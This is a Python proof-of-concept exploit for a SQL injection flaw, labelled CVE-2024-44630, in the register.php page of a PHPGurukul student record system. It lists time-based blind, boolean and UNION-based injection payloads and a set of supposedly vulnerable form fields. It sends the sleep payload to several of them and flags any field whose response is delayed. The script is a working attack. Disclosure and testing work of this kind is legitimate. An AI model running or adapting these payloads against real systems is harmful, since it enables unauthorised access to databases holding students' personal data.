import requests
import sys
# CVE-2024-44630 PoC - SQL Injection in PHPGurukul Student Record System
# Target: register.php
target_url = "http://target.com/student/register.php"
# SQL Injection payload for testing (using time-based blind SQL injection)
payloads = [
"admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1",
"admin' OR (SELECT COUNT(*) FROM users) > 0 AND '1'='1",
"test' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
]
# Parameters vulnerable to SQL injection
vulnerable_params = [
"c-full", "fname", "mname", "lname", "gname", "ocp", "nation",
"mobno", "email", "board1", "roll1", "pyear1", "board2", "roll2",
"pyear2", "sub1", "marks1", "sub2", "course-short", "income",
"category", "ph", "country", "state", "city", "padd", "cadd", "gender"
]
def test_sqli(param_name, payload):
"""Test SQL injection on specific parameter"""
data = {
"submit": "Register",
}
# Initialize all params with test value
for param in vulnerable_params:
data[param] = "test"
# Inject payload in target param
data[param_name] = payload
try:
response = requests.post(target_url, data=data, timeout=10)
return response.elapsed.total_seconds()
except requests.exceptions.RequestException:
return 0
if __name__ == "__main__":
print("CVE-2024-44630 SQL Injection PoC")
print("Target: Student Record System 3.20")
print("Vulnerable File: register.php")
print("-" * 50)
# Test for time-based blind SQL injection
print("\nTesting time-based blind SQL injection...")
for param in vulnerable_params[:5]: # Test first 5 params
elapsed = test_sqli(param, payloads[0])
if elapsed >= 5:
print(f"[+] Vulnerable parameter found: {param}")
print(f"[+] Response time: {elapsed}s")
break
print("\nPoC execution completed.")